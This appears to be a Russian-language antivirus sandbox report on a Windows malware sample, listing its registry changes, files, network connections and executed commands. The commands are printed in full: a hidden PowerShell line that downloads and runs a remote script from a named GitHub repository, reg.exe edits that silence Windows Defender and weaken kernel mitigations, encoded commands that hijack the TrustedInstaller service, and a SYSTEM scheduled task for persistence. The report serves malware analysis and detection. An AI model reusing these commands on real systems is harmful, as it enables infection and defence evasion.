Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'ConhostUpdater' = 'wscript.exe //B //nologo "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\refresh.vbs"'
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\refresh.vbs
- <SYSTEM32>\tasks\windowsupdateservice
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller] 'ImagePath' = 'cmd.exe /c powershell.exe -encodedcommand UgBlAGcALgBlAHgAZQAgAGEAZABkACAAJwBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAG...
- [HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller] 'ImagePath' = 'cmd.exe /c powershell.exe -encodedcommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHIAZQBnAGUAZABpAHQALgBlAHgAZQAgAC0AQQByAG...
- [HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller] 'ImagePath' = 'cmd.exe /c powershell.exe -encodedcommand UwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIABNAHAARABlAGYAZQBuAGQAZQByAEMAbwByAGUAUwBlAH...
- [HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller] 'ImagePath' = 'cmd.exe /c powershell.exe -encodedcommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAgAC...
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
Запускает большое число процессов
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\disablereg\disable1.reg
- %TEMP%\disablereg\disable2.reg
- %TEMP%\disablereg\disable3.reg
- %TEMP%\disablereg\disable5.reg
- %TEMP%\disablereg\disable6.reg
- %TEMP%\disablereg\disable7.reg
- %TEMP%\disablereg\disable8.reg
- %TEMP%\disablereg\disable9.reg
- %TEMP%\disablereg\disable10.reg
- %TEMP%\disablereg\disable11.reg
- %WINDIR%\ssystem32\conhost.exe
- %WINDIR%\ssystem32\rcxc554.tmp
- %WINDIR%\remonick\conhost.exe
- %WINDIR%\remonick\rcxc593.tmp
- %WINDIR%\serviceslol\conhost.exe
- %WINDIR%\serviceslol\rcxc5b4.tmp
- %APPDATA%\microsoft\windows\security\update.vbs
- %LOCALAPPDATA%\microsoft\windows\fonts\verify.vbs
- nul
- %TEMP%\content\4740-4760-<Имя файла>.exe-03-09-29-513.dump
- %TEMP%\content\4740-4760-<Имя файла>.exe-03-09-29-523.dump
- %TEMP%\d4468.vbs
- %TEMP%\content\4916-4512-conhost.exe-03-10-12-401.dump
- %TEMP%\content\4916-4512-conhost.exe-03-10-12-412.dump
Удаляет файлы, которые сам же создал
- %TEMP%\disablereg\disable1.reg
- %TEMP%\disablereg\disable10.reg
- %TEMP%\disablereg\disable11.reg
- %TEMP%\disablereg\disable2.reg
- %TEMP%\disablereg\disable3.reg
- %TEMP%\disablereg\disable5.reg
- %TEMP%\disablereg\disable6.reg
- %TEMP%\disablereg\disable7.reg
- %TEMP%\disablereg\disable8.reg
- %TEMP%\disablereg\disable9.reg
- %TEMP%\d4468.vbs
- <SYSTEM32>\tasks\windowsupdateservice
Перемещает следующие файлы
- %WINDIR%\ssystem32\rcxc554.tmp в %WINDIR%\ssystem32\conhost.exe
- %WINDIR%\remonick\rcxc593.tmp в %WINDIR%\remonick\conhost.exe
- %WINDIR%\serviceslol\rcxc5b4.tmp в %WINDIR%\serviceslol\conhost.exe
Подменяет следующие файлы
- %TEMP%\disablereg\disable1.reg
- %TEMP%\disablereg\disable2.reg
- %TEMP%\disablereg\disable3.reg
- %TEMP%\disablereg\disable5.reg
- %TEMP%\disablereg\disable6.reg
- %TEMP%\disablereg\disable7.reg
- %TEMP%\disablereg\disable8.reg
- %TEMP%\disablereg\disable9.reg
- %TEMP%\disablereg\disable10.reg
- %TEMP%\disablereg\disable11.reg
Самоудаляется.
Сетевая активность
Подключается к
- 'ra#.####ubusercontent.com':443
- '65.##8.56.61':9999
TCP
Другие
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK ra#.####ubusercontent.com
Другое
Создает и запускает на исполнение
- '%WINDIR%\ssystem32\conhost.exe'
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "Invoke-Expression (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/HiPeople911/Hi_People/refs/heads/main/hi.ps1' -UseB... (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Virus and threat protection" /v SummaryNotificationDisabled /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Virus and threat protection" /v NoActionNotificationDisabled /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Virus and threat protection" /v FilesBlockedNotificationDisabled /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance /v Enabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Control\Session Manager\kernel" /v MitigationOptions /t REG_BINARY /d 222222000001000000000000000000000000000000000000 /f
- '<SYSTEM32>\sc.exe' config TrustedInstaller binPath= "cmd.exe /c powershell.exe -encodedcommand UgBlAGcALgBlAHgAZQAgAGEAZABkACAAJwBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzA...
- '<SYSTEM32>\sc.exe' start TrustedInstaller
- '<SYSTEM32>\sc.exe' config TrustedInstaller binpath= "%WINDIR%\servicing\TrustedInstaller.exe"
- '<SYSTEM32>\sc.exe' config TrustedInstaller binPath= "cmd.exe /c powershell.exe -encodedcommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHIAZQBnAGUAZABpAHQALgBlAHgAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC8AcwAgA...
- '<SYSTEM32>\sc.exe' config TrustedInstaller binPath= "cmd.exe /c powershell.exe -encodedcommand UwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIABNAHAARABlAGYAZQBuAGQAZQByAEMAbwByAGUAUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlADsAIABTA...
- '<SYSTEM32>\sc.exe' config TrustedInstaller binPath= "cmd.exe /c powershell.exe -encodedcommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiA...
- '<SYSTEM32>\schtasks.exe' /query /tn "WindowsUpdateService" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /q /c schtasks.exe /delete /tn "WindowsUpdateService" /f >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /delete /tn "WindowsUpdateService" /f
- '<SYSTEM32>\cmd.exe' /q /c schtasks.exe /create /tn "WindowsUpdateService" /tr "wscript.exe //B //nologo \"%LOCALAPPDATA%\Microsoft\Windows\Fonts\verify.vbs\"" /sc onstart /ru SYSTEM /rl HIGHEST /f >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "WindowsUpdateService" /tr "wscript.exe //B //nologo \"%LOCALAPPDATA%\Microsoft\Windows\Fonts\verify.vbs\"" /sc onstart /ru SYSTEM /rl HIGHEST /f
- '<SYSTEM32>\wscript.exe' //B //nologo "%TEMP%\\d4468.vbs" (со скрытым окном)
- '%WINDIR%\ssystem32\conhost.exe' (со скрытым окном)
